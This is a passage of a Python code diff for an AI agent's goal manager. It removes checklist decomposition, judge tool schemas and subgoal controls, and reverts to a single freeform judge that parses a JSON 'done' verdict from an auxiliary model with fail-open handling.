_truncate(text: str, limit: int) -> str: return text[:limit] + "… [truncated]" -_JSON_OBJECT_RE = re.compile(r"\{.*\}", re.DOTALL) +_JSON_OBJECT_RE = re.compile(r"\{.*?\}", re.DOTALL) -def _extract_json_object(raw: str) -> Optional[Dict[str, Any]]: - """Best-effort extraction of a single JSON object from a possibly-prosey reply.""" +def _parse_judge_response(raw: str) -> Tuple[bool, str, bool]: + """Parse the judge's reply. Fail-open to ``(False, "", parse_failed)``. + + Returns ``(done, reason, parse_failed)``. ``parse_failed`` is True when the + judge returned output that couldn't be interpreted as the expected JSON + verdict (empty body, prose, malformed JSON). Callers use that flag to + auto-pause after N consecutive parse failures so a weak judge model + doesn't silently burn the turn budget. + """ if not raw: - return None + return False, "judge returned empty response", True + text = raw.strip() + + # Strip markdown code fences the model may wrap JSON in. if text.startswith("```"): text = text.strip("`") + # Peel off leading json/JSON/etc tag nl = text.find("\n") if nl != -1: text = text[nl + 1:] + + # First try: parse the whole blob. + data: Optional[Dict[str, Any]] = None try: data = json.loads(text) except Exception: + # Second try: pull the first JSON object out. match = _JSON_OBJECT_RE.search(text) - if not match: - return None - try: - data = json.loads(match.group(0)) - except Exception: - return None - return data if isinstance(data, dict) else None - - -def _parse_judge_response(raw: str) -> Tuple[bool, str, bool]: - """Parse the freeform judge's reply. Fail-open to ``(False, "", parse_failed)``. - - Returns ``(done, reason, parse_failed)``. ``parse_failed`` is True when the - judge returned output that couldn't be interpreted as the expected JSON - verdict (empty body, prose, malformed JSON). Callers use that flag to - auto-pause after N consecutive parse failures so a weak judge model - doesn't silently burn the turn budget. - """ - if not raw: - return False, "judge returned empty response", True + if match: + try: + data = json.loads(match.group(0)) + except Exception: + data = None - data = _extract_json_object(raw) - if data is None: + if not isinstance(data, dict): return False, f"judge reply was not JSON: {_truncate(raw, 200)!r}", True done_val = data.get("done") if isinstance(done_val, str): - done = done_val.strip().lower() in ("true", "yes", "1", "done") + done = done_val.strip().lower() in {"true", "yes", "1", "done"} else: done = bool(done_val) reason = str(data.get("reason") or "").strip() @@ -562,552 +279,49 @@ def _parse_judge_response(raw: str) -> Tuple[bool, str, bool]: return done, reason, False -def _parse_decompose_response(raw: str) -> Tuple[List[Dict[str, Any]], bool]: - """Parse a Phase-A decompose reply. Returns (items, parse_failed).""" - if not raw: - return [], True - data = _extract_json_object(raw) - if data is None: - return [], True - raw_items = data.get("checklist") - if not isinstance(raw_items, list): - return [], True - out: List[Dict[str, Any]] = [] - for item in raw_items: - if isinstance(item, dict): - text = str(item.get("text", "")).strip() - if text: - out.append({"text": text}) - elif isinstance(item, str): - text = item.strip() - if text: - out.append({"text": text}) - return out, False - - -def _parse_evaluate_response(raw: str) -> Tuple[Dict[str, Any], bool]: - """Parse a Phase-B checklist eval reply. Returns (parsed, parse_failed). - - parsed = {"updates": [...], "new_items": [...], "reason": str} - """ - if not raw: - return {"updates": [], "new_items": [], "reason": "judge returned empty response"}, True - data = _extract_json_object(raw) - if data is None: - return ( - { - "updates": [], - "new_items": [], - "reason": f"judge reply was not JSON: {_truncate(raw, 200)!r}", - }, - True, - ) - updates = data.get("updates") or [] - new_items = data.get("new_items") or [] - reason = str(data.get("reason") or "").strip() or "no reason provided" - norm_updates = [] - if isinstance(updates, list): - for upd in updates: - if not isinstance(upd, dict): - continue - try: - # Judge sees the checklist rendered with 1-based indices - # (matches the /subgoal CLI). Convert to 0-based here so the - # apply layer can index ``state.checklist`` directly. - idx_1based = int(upd.get("index")) - except (TypeError, ValueError): - continue - idx = idx_1based - 1 - status = str(upd.get("status", "")).strip().lower() - if status not in TERMINAL_ITEM_STATUSES: - # Phase-B only accepts terminal flips. Pending → pending is a no-op. - continue - evidence = str(upd.get("evidence") or "").strip() or None - norm_updates.append({"index": idx, "status": status, "evidence": evidence}) - norm_new = [] - if isinstance(new_items, list): - for it in new_items: - if isinstance(it, dict): - text = str(it.get("text", "")).strip() - if text: - norm_new.append({"text": text}) - elif isinstance(it, str): - text = it.strip() - if text: - norm_new.append({"text": text}) - return {"updates": norm_updates, "new_items": norm_new, "reason": reason}, False - - -# ────────────────────────────────────────────────────────────────────── -# Judge: read_file tool for the judge's bounded tool loop -# ────────────────────────────────────────────────────────────────────── - - -# ────────────────────────────────────────────────────────────────────── -# Judge tool schemas: read_file (history inspection) + -# submit_checklist (Phase A) + update_checklist (Phase B) -# -# Forcing the judge to emit through tool calls is dramatically more -# reliable than asking it to reply with JSON text. Most providers -# enforce the schema server-side, so weak/small judge models can no -# longer drift into prose, markdown fences, or empty bodies. -# ────────────────────────────────────────────────────────────────────── - - -_JUDGE_READ_FILE_TOOL_SCHEMA: Dict[str, Any] = { - "type": "function", - "function": { - "name": "read_file", - "description": ( - "Read a portion of the dumped conversation history JSON file. " - "Use this when the snippet alone isn't enough to rule. Returns " - "lines from the file with 1-based line numbers. Pagination " - "supported via offset and limit. Reads beyond a built-in cap " - "are truncated." - ), - "parameters": { - "type": "object", - "properties": { - "path": { - "type": "string", - "description": ( - "Absolute path to the conversation history file. " - "You were given this in the user message." - ), - }, - "offset": { - "type": "integer", - "description": "1-indexed starting line number (default 1).", - "default": 1, - }, - "limit": { - "type": "integer", - "description": ( - f"Max lines to return (default {_JUDGE_READ_FILE_MAX_LINES})." - ), - "default": _JUDGE_READ_FILE_MAX_LINES, - }, - }, - "required": ["path"], - }, - }, -} - - -_JUDGE_SUBMIT_CHECKLIST_TOOL_SCHEMA: Dict[str, Any] = { - "type": "function", - "function": { - "name": "submit_checklist", - "description": ( - "Submit the harsh, detailed completion-criteria checklist you " - "decomposed the goal into. Each item is one verifiable " - "completion criterion. Bias toward more items, not fewer." - ), - "parameters": { - "type": "object", - "properties": { - "items": { - "type": "array", - "description": ( - "List of checklist items. Each item is a single " - "verifiable statement of fact about the finished " - "work. Aim for at least 5 items; more is better " - "when warranted." - ), - "items": { - "type": "object", - "properties": { - "text": { - "type": "string", - "description": "The completion-criterion text.", - }, - }, - "required": ["text"], - }, - }, - }, - "required": ["items"], - }, - }, -} - - -_JUDGE_UPDATE_CHECKLIST_TOOL_SCHEMA: Dict[str, Any] = { - "type": "function", - "function": { - "name": "update_checklist", - "description": ( - "Issue your verdict on the current checklist. For each " - "currently-pending item, decide whether the agent's most " - "recent response (and conversation history if you read it) " - "shows the item is satisfied. You may also append new items " - "the original decomposition missed. Call this exactly once " - "when you are ready to rule — calling it ends the evaluation." - ), - "parameters": { - "type": "object", - "properties": { - "updates": { - "type": "array", - "description": ( - "Per-item rulings. Use the 1-based ``index`` shown " - "in the checklist. ``status`` must be 'completed' " - "(clear evidence the item is done) or 'impossible' " - "(item cannot be achieved in this environment). " - "Items already in a terminal status are frozen — " - "do not include them." - ), - "items": { - "type": "object", - "properties": { - "index": { - "type": "integer", - "description": "1-based checklist index.", - }, - "status": { - "type": "string", - "enum": ["completed", "impossible"], - }, - "evidence": { - "type": "string", - "description": ( - "One-sentence specific citation of why " - "this item is done or impossible. " - "Reference the agent's actual output." - ), - }, - }, - "required": ["index", "status", "evidence"], - }, - }, - "new_items": { - "type": "array", - "description": ( - "Optional: completion criteria the original " - "decomposition missed. Stay strict — only add " - "items that genuinely belong as completion " - "criteria for this goal." - ), - "items": { - "type": "object", - "properties": { - "text": { - "type": "string", - "description": "The new criterion text.", - }, - }, - "required": ["text"], - }, - }, - "reason": { - "type": "string", - "description": "One-sentence overall rationale for this round of updates.", - }, - }, - "required": ["updates", "new_items", "reason"], - }, - }, -} - - -def _judge_read_file( - path: str, - *, - offset: int = 1, - limit: int = _JUDGE_READ_FILE_MAX_LINES, - allowed_path: Optional[Path] = None, -) -> str: - """Bounded read of the dumped conversation file. Returns JSON-serializable text. - - Restricted to ``allowed_path`` when provided — the judge cannot use this - tool to read arbitrary files. - """ - if not path: - return json.dumps({"error": "path is required"}) - try: - target = Path(path).resolve() - except Exception as exc: - return json.dumps({"error": f"path resolve failed: {exc}"}) - - if allowed_path is not None: - try: - allowed = allowed_path.resolve() - except Exception: - allowed = allowed_path - if target != allowed: - return json.dumps({ - "error": ( - f"read_file is restricted to the conversation dump path. " - f"Allowed: {allowed}" - ) - }) - - if not target.exists(): - return json.dumps({"error": f"file not found: {target}"}) - try: - offset = max(1, int(offset or 1)) - limit = max(1, min(int(limit or _JUDGE_READ_FILE_MAX_LINES), _JUDGE_READ_FILE_MAX_LINES)) - except (TypeError, ValueError): - return json.dumps({"error": "offset and limit must be integers"}) - - try: - with open(target, "r", encoding="utf-8", errors="replace") as fh: - lines = fh.readlines() - except Exception as exc: - return json.dumps({"error": f"read failed: {exc}"}) - - total = len(lines) - start = offset - 1 - end = min(start + limit, total) - slice_lines = lines[start:end] - out = "".join(slice_lines) - if len(out) > _JUDGE_READ_FILE_MAX_CHARS: - out = out[:_JUDGE_READ_FILE_MAX_CHARS] + "\n… [truncated by judge read cap]" - return json.dumps({ - "path": str(target), - "total_lines": total, - "offset": offset, - "returned": len(slice_lines), - "next_offset": end + 1 if end < total else None, - "content": out, - }, ensure_ascii=False) - - -# ────────────────────────────────────────────────────────────────────── -# Judge: phase-A (decompose) and phase-B (evaluate) -# ────────────────────────────────────────────────────────────────────── - - -def _get_judge_client() -> Tuple[Optional[Any], str]: - """Return (client, model) or (None, '') when unavailable.""" - try: - from agent.auxiliary_client import get_text_auxiliary_client - except Exception as exc: - logger.debug("goal judge: auxiliary client import failed: %s", exc) - return None, "" - try: - client, model = get_text_auxiliary_client("goal_judge") - except Exception as exc: - logger.debug("goal judge: get_text_auxiliary_client failed: %s", exc) - return None, "" - if client is None or not model: - return None, "" - return client, model - - -def _extract_tool_call(msg: Any, tool_name: str) -> Optional[Dict[str, Any]]: - """Find a tool call by name on a chat-completions message. Returns - ``{"id", "name", "arguments": }`` or None. - - Robust to provider shims that return tool_calls as objects or dicts - and arguments as JSON strings or already-parsed dicts. - """ - tool_calls = getattr(msg, "tool_calls", None) or [] - for tc in tool_calls: - try: - tc_id = getattr(tc, "id", None) or (tc.get("id") if isinstance(tc, dict) else None) or "tc-?" - fn = getattr(tc, "function", None) or (tc.get("function") if isinstance(tc, dict) else None) - if fn is None: - continue - fn_name = getattr(fn, "name", None) or (fn.get("name") if isinstance(fn, dict) else "") - if fn_name != tool_name: - continue - fn_args_raw = getattr(fn, "arguments", None) or (fn.get("arguments") if isinstance(fn, dict) else "") - if isinstance(fn_args_raw, str): - try: - args = json.loads(fn_args_raw) if fn_args_raw else {} - except Exception: - args = {} - elif isinstance(fn_args_raw, dict): - args = fn_args_raw - else: - args = {} - return {"id": tc_id, "name": fn_name, "arguments": args} - except Exception: - continue - return None - - -def _serialize_assistant_tool_calls(msg: Any) -> List[Dict[str, Any]]: - """Convert a provider-shim tool_calls list into plain-dict form for - inclusion in subsequent ``messages=[...]`` payloads.""" - out: List[Dict[str, Any]] = [] - for tc in getattr(msg, "tool_calls", None) or []: - try: - tc_id = getattr(tc, "id", None) or (tc.get("id") if isinstance(tc, dict) else None) or "tc-?" - fn = getattr(tc, "function", None) or (tc.get("function") if isinstance(tc, dict) else None) - fn_name = getattr(fn, "name", None) or (fn.get("name") if isinstance(fn, dict) else "") - fn_args = getattr(fn, "arguments", None) or (fn.get("arguments") if isinstance(fn, dict) else "") - if not isinstance(fn_args, str): - try: - fn_args = json.dumps(fn_args) - except Exception: - fn_args = "{}" - out.append({ - "id": tc_id, - "type": "function", - "function": {"name": fn_name or "", "arguments": fn_args}, - }) - except Exception: - continue - return out - - -def _call_judge_with_tool_choice( - client: Any, - *, - model: str, - messages: List[Dict[str, Any]], - tools: List[Dict[str, Any]], - forced_tool_name: Optional[str], - timeout: float, - max_tokens: int = 1500, -) -> Tuple[Optional[Any], Optional[str]]: - """Call the judge with a forced tool choice, falling back to ``auto`` - if the provider rejects ``required`` / a specific function choice. - - Returns ``(response, error)``. On success, ``error`` is None. - """ - # First attempt: force the specific tool. Most modern providers - # support {"type": "function", "function": {"name": "..."}}. - primary_choice: Any - if forced_tool_name: - primary_choice = {"type": "function", "function": {"name": forced_tool_name}} - else: - primary_choice = "required" - - attempts: List[Any] = [primary_choice, "required", "auto"] - last_err: Optional[str] = None - for choice in attempts: - try: - return client.chat.completions.create( - model=model, - messages=messages, - tools=tools, - tool_choice=choice, - temperature=0, - max_tokens=max_tokens, - timeout=timeout, - ), None - except Exception as exc: - last_err = f"{type(exc).__name__}: {exc}" - # Only retry on errors that look like the provider rejecting the - # tool_choice shape. Network errors etc. should bail immediately. - msg = str(exc).lower() - if not any(token in msg for token in ( - "tool_choice", "tool choice", "required", "function call", - "unsupported", "not supported", "invalid", "400", - )): - return None, last_err - logger.debug("goal judge: tool_choice=%r rejected (%s); falling back", choice, exc) - continue - return None, last_err or "all tool_choice fallbacks failed" - - -def decompose_goal( - goal: str, - *, - timeout: float = DEFAULT_JUDGE_TIMEOUT, -) -> Tuple[List[Dict[str, Any]], Optional[str]]: - """Phase-A: ask the judge to break the goal into a checklist via a - forced ``submit_checklist`` tool call. - - Returns ``(items, error)``. On any failure, returns ``([], reason)`` - so the caller can fall back to freeform mode. - """ - if not goal.strip(): - return [], "empty goal" - - client, model = _get_judge_client() - if client is None: - return [], "auxiliary client unavailable" - - messages = [ - {"role": "system", "content": DECOMPOSE_SYSTEM_PROMPT}, - { - "role": "user", - "content": DECOMPOSE_USER_PROMPT_TEMPLATE.format( - goal=_truncate(goal, 4000) - ), - }, - ] - - resp, err = _call_judge_with_tool_choice( - client, - model=model, - messages=messages, - tools=[_JUDGE_SUBMIT_CHECKLIST_TOOL_SCHEMA], - forced_tool_name="submit_checklist", - timeout=timeout, - max_tokens=2000, - ) - if resp is None: - logger.info("goal decompose: API call failed (%s)", err) - return [], f"decompose error: {err}" - - try: - msg = resp.choices[0].message - except Exception: - return [], "decompose response malformed" - - tc = _extract_tool_call(msg, "submit_checklist") - if tc is None: - # Provider responded but didn't call the tool. Try parsing content - # as a last-ditch backstop so a fully-broken provider doesn't - # silently leave the user with no checklist at all. - content = getattr(msg, "content", "") or "" - items, parse_failed = _parse_decompose_response(content) - if parse_failed or not items: - logger.info( - "goal decompose: no submit_checklist tool call AND no parseable JSON (raw=%r)", - _truncate(content, 200), - ) - return [], "decompose: judge did not call submit_checklist" - logger.info("goal decompose: fell back to JSON-content parser (%d items)", len(items)) - return items, None - - raw_items = tc["arguments"].get("items") or [] - items: List[Dict[str, Any]] = [] - if isinstance(raw_items, list): - for entry in raw_items: - if isinstance(entry, dict): - text = str(entry.get("text", "")).strip() - if text: - items.append({"text": text}) - elif isinstance(entry, str): - text = entry.strip() - if text: - items.append({"text": text}) - - if not items: - logger.info("goal decompose: submit_checklist returned empty items list") - return [], "decompose: empty checklist" - - logger.info("goal decompose: produced %d checklist items via tool call", len(items)) - return items, None - - -def judge_goal_freeform( +def judge_goal( goal: str, last_response: str, *, timeout: float = DEFAULT_JUDGE_TIMEOUT, ) -> Tuple[str, str, bool]: - """Legacy freeform judge — kept for goals with no checklist. + """Ask the auxiliary model whether the goal is satisfied. Returns ``(verdict, reason, parse_failed)`` where verdict is ``"done"``, - ``"continue"``, or ``"skipped"``. + ``"continue"``, or ``"skipped"`` (when the judge couldn't be reached). + + ``parse_failed`` is True only when the judge call succeeded but its output + was unusable (empty or non-JSON). API/transport errors return False — they + are transient and should fail-open silently. Callers use this flag to + auto-pause after N consecutive parse failures (see + ``DEFAULT_MAX_CONSECUTIVE_PARSE_FAILURES``). + + This is deliberately fail-open: any error returns ``("continue", "...", False)`` + so a broken judge doesn't wedge progress — the turn budget and the + consecutive-parse-failures auto-pause are the backstops. """ if not goal.strip(): return "skipped", "empty goal", False if not last_response.strip(): + # No substantive reply this turn — almost certainly not done yet. return "continue", "empty response (nothing to evaluate)", False - client, model = _get_judge_client() - if client is None: + try: + from agent.auxiliary_client import get_text_auxiliary_client + except Exception as exc: + logger.debug("goal judge: auxiliary client import failed: %s", exc) return "continue", "auxiliary client unavailable", False - prompt = EVALUATE_USER_PROMPT_FREEFORM_TEMPLATE.format( + try: + client, model = get_text_auxiliary_client("goal_judge") + except Exception as exc: + logger.debug("goal judge: get_text_auxiliary_client failed: %s", exc) + return "continue", "auxiliary client unavailable", False + + if client is None or not model: + return "continue", "no auxiliary client configured", False + + prompt = JUDGE_USER_PROMPT_TEMPLATE.format( goal=_truncate(goal, 2000), response=_truncate(last_response, _JUDGE_RESPONSE_SNIPPET_CHARS), ) @@ -1116,7 +330,7 @@ def judge_goal_freeform( resp = client.chat.completions.create( model=model, messages=[ - {"role": "system", "content": EVALUATE_SYSTEM_PROMPT_FREEFORM}, + {"role": "system", "content": JUDGE_SYSTEM_PROMPT}, {"role": "user", "content": prompt}, ], temperature=0, @@ -1134,218 +348,10 @@ def judge_goal_freeform( done, reason, parse_failed = _parse_judge_response(raw) verdict = "done" if done else "continue" - logger.info("goal judge (freeform): verdict=%s reason=%s", verdict, _truncate(reason, 120)) + logger.info("goal judge: verdict=%s reason=%s", verdict, _truncate(reason, 120)) return verdict, reason, parse_failed -def evaluate_checklist( - state: GoalState, - last_response: str, - *, - history_path: Optional[Path], - timeout: float = DEFAULT_JUDGE_TIMEOUT, - max_tool_calls: int = DEFAULT_MAX_JUDGE_TOOL_CALLS, -) -> Tuple[Dict[str, Any], bool]: - """Phase-B: judge evaluates each pending checklist item via forced - tool calls. - - The judge has two tools available: - - ``read_file``: inspect the dumped conversation history - - ``update_checklist``: issue the verdict (terminates the loop) - - ``tool_choice="required"`` forces one of them every iteration. We loop - until ``update_checklist`` is called or ``max_tool_calls`` is exhausted. - - Returns ``(parsed, parse_failed)`` where parsed is - ``{"updates": [...], "new_items": [...], "reason": str}``. - Falls open on transport errors: empty updates/new_items, parse_failed=False. - """ - client, model = _get_judge_client() - if client is None: - return ({"updates": [], "new_items": [], "reason": "auxiliary client unavailable"}, False) - - # Render checklist with 1-based indices the judge addresses via the - # update_checklist tool's ``index`` field. - checklist_block = state.render_checklist(numbered=True) - - user_prompt = EVALUATE_USER_PROMPT_CHECKLIST_TEMPLATE.format( - goal=_truncate(state.goal, 2000), - checklist_block=checklist_block, - response=_truncate(last_response, _JUDGE_RESPONSE_SNIPPET_CHARS), - history_path=str(history_path) if history_path else "(unavailable — judge from snippet only)", - ) - - messages: List[Dict[str, Any]] = [ - {"role": "system", "content": EVALUATE_SYSTEM_PROMPT_CHECKLIST}, - {"role": "user", "content": user_prompt}, - ] - - # Build the toolbox: read_file is only useful when we actually have a - # history file to read, so we omit it otherwise to keep the schema lean. - tools: List[Dict[str, Any]] = [_JUDGE_UPDATE_CHECKLIST_TOOL_SCHEMA] - if history_path is not None: - tools.insert(0, _JUDGE_READ_FILE_TOOL_SCHEMA) - - reads_left = max(0, int(max_tool_calls)) if history_path is not None else 0 - - # Bound the overall loop generously — the judge will normally finish in - # one or two passes (read_file once, then update_checklist; or just - # update_checklist directly). - for iteration in range(reads_left + 2): - # When out of read budget, drop read_file from the toolbox so the - # judge MUST emit update_checklist. - loop_tools = tools if reads_left > 0 else [_JUDGE_UPDATE_CHECKLIST_TOOL_SCHEMA] - # Forcing update_checklist directly when reads are exhausted gives - # us the strongest guarantee of termination. - forced = "update_checklist" if reads_left <= 0 else None - - resp, err = _call_judge_with_tool_choice( - client, - model=model, - messages=messages, - tools=loop_tools, - forced_tool_name=forced, - timeout=timeout, - max_tokens=1500, - ) - if resp is None: - logger.info("goal judge (checklist): API call failed (%s)", err) - return ( - { - "updates": [], - "new_items": [], - "reason": f"judge error: {err}", - }, - False, - ) - - try: - msg = resp.choices[0].message - except Exception: - return ( - {"updates": [], "new_items": [], "reason": "judge response malformed"}, - True, - ) - - # Did the judge call update_checklist? If yes, we're done. - update_tc = _extract_tool_call(msg, "update_checklist") - if update_tc is not None: - parsed = _normalize_update_args(update_tc["arguments"]) - logger.info( - "goal judge (checklist): updates=%d new_items=%d reason=%s", - len(parsed.get("updates") or []), - len(parsed.get("new_items") or []), - _truncate(parsed.get("reason", ""), 120), - ) - return parsed, False - - # Did the judge call read_file? If yes, run it and feed the result back. - read_tc = _extract_tool_call(msg, "read_file") - if read_tc is not None and reads_left > 0: - args = read_tc["arguments"] - tool_result = _judge_read_file( - str(args.get("path", "")), - offset=args.get("offset", 1), - limit=args.get("limit", _JUDGE_READ_FILE_MAX_LINES), - allowed_path=history_path, - ) - messages.append({ - "role": "assistant", - "content": getattr(msg, "content", "") or "", - "tool_calls": _serialize_assistant_tool_calls(msg), - }) - messages.append({ - "role": "tool", - "tool_call_id": read_tc["id"], - "name": "read_file", - "content": tool_result, - }) - reads_left -= 1 - continue - - # Neither tool was called. Try parsing the content body as a last- - # ditch backstop, then bail. - content = getattr(msg, "content", "") or "" - if content.strip(): - parsed, parse_failed = _parse_evaluate_response(content) - if not parse_failed: - logger.info( - "goal judge (checklist): fell back to JSON-content parser " - "updates=%d new_items=%d", - len(parsed.get("updates") or []), - len(parsed.get("new_items") or []), - ) - return parsed, False - logger.info( - "goal judge (checklist): judge emitted neither read_file nor " - "update_checklist (iteration=%d, content=%r) — bailing", - iteration, _truncate(content, 120), - ) - return ( - { - "updates": [], - "new_items": [], - "reason": "judge did not call update_checklist", - }, - True, - ) - - # Loop exhausted without an update_checklist call. - return ( - { - "updates": [], - "new_items": [], - "reason": "judge tool-loop exhausted without verdict", - }, - True, - ) - - -def _normalize_update_args(args: Dict[str, Any]) -> Dict[str, Any]: - """Validate and normalize the ``update_checklist`` tool arguments. - - Performs the same 1-based → 0-based conversion and terminal-status - filter as ``_parse_evaluate_response``. Returns the canonical - ``{updates, new_items, reason}`` shape callers expect. - """ - raw_updates = args.get("updates") or [] - raw_new = args.get("new_items") or [] - reason = str(args.get("reason") or "").strip() or "no reason provided" - - norm_updates: List[Dict[str, Any]] = [] - if isinstance(raw_updates, list): - for upd in raw_updates: - if not isinstance(upd, dict): - continue - try: - idx_1based = int(upd.get("index")) - except (TypeError, ValueError): - continue - status = str(upd.get("status", "")).strip().lower() - if status not in TERMINAL_ITEM_STATUSES: - continue - evidence = str(upd.get("evidence") or "").strip() or None - norm_updates.append({ - "index": idx_1based - 1, # 1-based → 0-based for apply layer - "status": status, - "evidence": evidence, - }) - - norm_new: List[Dict[str, Any]] = [] - if isinstance(raw_new, list): - for it in raw_new: - if isinstance(it, dict): - text = str(it.get("text", "")).strip() - if text: - norm_new.append({"text": text}) - elif isinstance(it, str): - text = it.strip() - if text: - norm_new.append({"text": text}) - - return {"updates": norm_updates, "new_items": norm_new, "reason": reason} - - # ────────────────────────────────────────────────────────────────────── # GoalManager — the orchestration surface CLI + gateway talk to # ────────────────────────────────────────────────────────────────────── @@ -1362,12 +368,8 @@ class GoalManager: - ``clear()`` — remove the active goal. - ``pause()`` / ``resume()`` — explicit user controls. - ``status()`` — printable one-liner. - - ``add_subgoal(text)`` — user appends a checklist item. - - ``mark_subgoal(index, status)`` — user flips an item (override). - - ``remove_subgoal(index)`` — user deletes an item. - - ``clear_checklist()`` — user wipes the checklist; next turn re-decomposes. - - ``evaluate_after_turn(last_response, agent=None)`` — call the judge, - update state, return a decision dict. + - ``evaluate_after_turn(last_response)`` — call the judge, update state, + and return a decision dict the caller uses to drive the next turn. - ``next_continuation_prompt()`` — the canonical user-role message to feed back into ``run_conversation``. """ @@ -1387,33 +389,21 @@ def is_active(self) -> bool: return self._state is not None and self._state.status == "active" def has_goal(self) -> bool: - return self._state is not None and self._state.status in ("active", "paused") + return self._state is not None and self._state.status in {"active", "paused"} def status_line(self) -> str: s = self._state - if s is None or s.status in ("cleared",): + if s is None or s.status in {"cleared",}: return "No active goal. Set one with /goal ." turns = f"{s.turns_used}/{s.max_turns} turns" - cl_total, cl_done, cl_imp, _ = s.checklist_counts() - cl_text = "" - if cl_total: - cl_text = f", {cl_done + cl_imp}/{cl_total} done" if s.status == "active": - return f"⊙ Goal (active, {turns}{cl_text}): {s.goal}" + return f"⊙ Goal (active, {turns}): {s.goal}" if s.status == "paused": extra = f" — {s.paused_reason}" if s.paused_reason else "" - return f"⏸ Goal (paused, {turns}{cl_text}{extra}): {s.goal}" + return f"⏸ Goal (paused, {turns}{extra}): {s.goal}" if s.status == "done": - return f"✓ Goal done ({turns}{cl_text}): {s.goal}" - return f"Goal ({s.status}, {turns}{cl_text}): {s.goal}" - - def render_checklist(self) -> str: - """Public helper for the /subgoal slash command.""" - if self._state is None: - return "(no active goal)" - if not self._state.checklist: - return "(checklist empty — judge will populate it on the next turn)" - return self._state.render_checklist(numbered=True) + return f"✓ Goal done ({turns}): {s.goal}" + return f"Goal ({s.status}, {turns}): {s.goal}" # --- mutation ----------------------------------------------------- @@ -1428,8 +418,6 @@ def set(self, goal: str, *, max_turns: Optional[int] = None) -> GoalState: max_turns=int(max_turns) if max_turns else self.default_max_turns, created_at=time.time(), last_turn_at=0.0, - checklist=[], - decomposed=False, ) self._state = state save_goal(self.session_id, state) @@ -1468,77 +456,6 @@ def mark_done(self, reason: str) -> None: self._state.last_reason = reason save_goal(self.session_id, self._state) - # --- /subgoal user controls --------------------------------------- - - def add_subgoal(self, text: str) -> ChecklistItem: - """User appends a new checklist item. Requires an active or paused goal.""" - if self._state is None: - raise RuntimeError("no active goal") - text = (text or "").strip() - if not text: - raise ValueError("subgoal text is empty") - item = ChecklistItem( - text=text, - status=ITEM_PENDING, - added_by=ADDED_BY_USER, - added_at=time.time(), - ) - self._state.checklist.append(item) - save_goal(self.session_id, self._state) - return item - - def mark_subgoal(self, index_1based: int, status: str) -> ChecklistItem: - """User overrides an item's status. - - ``status`` may be ``completed``, ``impossible``, or ``pending`` - (the last only as an undo flow). Stickiness rules do NOT apply to - user actions — the user is the only authority that can revert - terminal items. - """ - if self._state is None: - raise RuntimeError("no active goal") - status = (status or "").strip().lower() - if status not in VALID_ITEM_STATUSES: - raise ValueError( - f"status must be one of {sorted(VALID_ITEM_STATUSES)}; got {status!r}" - ) - idx = int(index_1based) - 1 - if idx < 0 or idx >= len(self._state.checklist): - raise IndexError( - f"index out of range (1..{len(self._state.checklist)})" - ) - item = self._state.checklist[idx] - item.status = status - if status in TERMINAL_ITEM_STATUSES: - item.completed_at = time.time() - if not item.evidence: - item.evidence = "marked by user" - else: - item.completed_at = None - # Don't wipe judge-supplied evidence on undo — useful audit trail. - save_goal(self.session_id, self._state) - return item - - def remove_subgoal(self, index_1based: int) -> ChecklistItem: - if self._state is None: - raise RuntimeError("no active goal") - idx = int(index_1based) - 1 - if idx < 0 or idx >= len(self._state.checklist): - raise IndexError( - f"index out of range (1..{len(self._state.checklist)})" - ) - removed = self._state.checklist.pop(idx) - save_goal(self.session_id, self._state) - return removed - - def clear_checklist(self) -> None: - """Wipe the checklist and reset decomposed=False so the judge re-decomposes.""" - if self._state is None: - return - self._state.checklist = [] - self._state.decomposed = False - save_goal(self.session_id, self._state) - # --- the main entry point called after every turn ----------------- def evaluate_after_turn( @@ -1546,8 +463,6 @@ def evaluate_after_turn( last_response: str, *, user_initiated: bool = True, - agent: Any = None, - messages: Optional[List[Dict[str, Any]]] = None, ) -> Dict[str, Any]: """Run the judge and update state. Return a decision dict. @@ -1555,21 +470,11 @@ def evaluate_after_turn( continuation prompt we fed ourselves (False). Both increment ``turns_used`` because both consume model budget. - ``messages`` is the agent's full conversation list for this session. - When provided, it's dumped to ``/goals/.json`` so - the Phase-B judge's read_file tool can inspect history. Optional — - when missing, the judge runs from the snippet only. - - ``agent`` is a back-compat path — when ``messages`` is None we try - to extract them from common AIAgent attribute names. Most callers - should pass ``messages`` directly because AIAgent does not store - the message list as a public instance attribute. - Decision keys: - ``status``: current goal status after update - ``should_continue``: bool — caller should fire another turn - ``continuation_prompt``: str or None - - ``verdict``: "done" | "continue" | "skipped" | "inactive" | "decompose" + - ``verdict``: "done" | "continue" | "skipped" | "inactive" - ``reason``: str - ``message``: user-visible one-liner to print/send """ @@ -1588,45 +493,7 @@ def evaluate_after_turn( state.turns_used += 1 state.last_turn_at = time.time() - # ── Phase A: decompose (first call after /goal set) ─────────── - if not state.decomposed: - items, err = decompose_goal(state.goal) - state.decomposed = True - decompose_message = "" - if items: - now = time.time() - for entry in items: - state.checklist.append( - ChecklistItem( - text=entry["text"], - status=ITEM_PENDING, - added_by=ADDED_BY_JUDGE, - added_at=now, - ) - ) - state.last_verdict = "decompose" - state.last_reason = f"decomposed into {len(items)} items" - decompose_message = ( - f"⊙ Goal checklist created ({len(items)} items). " - f"Use /subgoal to view or edit it." - ) - save_goal(self.session_id, state) - return { - "status": "active", - "should_continue": True, - "continuation_prompt": self.next_continuation_prompt(), - "verdict": "decompose", - "reason": state.last_reason, - "message": decompose_message, - } - # Decompose failed — fall through to freeform mode below. - logger.info("goal: decompose failed (%s) — falling back to freeform judge", err) - state.last_reason = f"decompose failed: {err}" - - # ── Phase B: evaluate ──────────────────────────────────────── - verdict, reason, parse_failed = self._evaluate_state_phase_b( - state, last_response, agent=agent, messages=messages - ) + verdict, reason, parse_failed = judge_goal(state.goal, last_response) state.last_verdict = verdict state.last_reason = reason @@ -1651,7 +518,11 @@ def evaluate_after_turn( } # Auto-pause when the judge model can't produce the expected JSON - # verdict N turns in a row. + # verdict N turns in a row. Points the user at the goal_judge config + # so they can route this side task to a model that follows the + # contract (e.g. google/gemini-3-flash-preview). Without this guard, + # weak judge models burn the entire turn budget returning prose or + # empty strings. if state.consecutive_parse_failures >= DEFAULT_MAX_CONSECUTIVE_PARSE_FAILURES: state.status = "paused" state.paused_reason = ( @@ -1693,10 +564,6 @@ def evaluate_after_turn( } save_goal(self.session_id, state) - cl_total, cl_done, cl_imp, _ = state.checklist_counts() - progress = "" - if cl_total: - progress = f" — {cl_done + cl_imp}/{cl_total} done" return { "status": "active", "should_continue": True, @@ -1704,168 +571,23 @@ def evaluate_after_turn( "verdict": "continue", "reason": reason, "message": ( - f"↻ 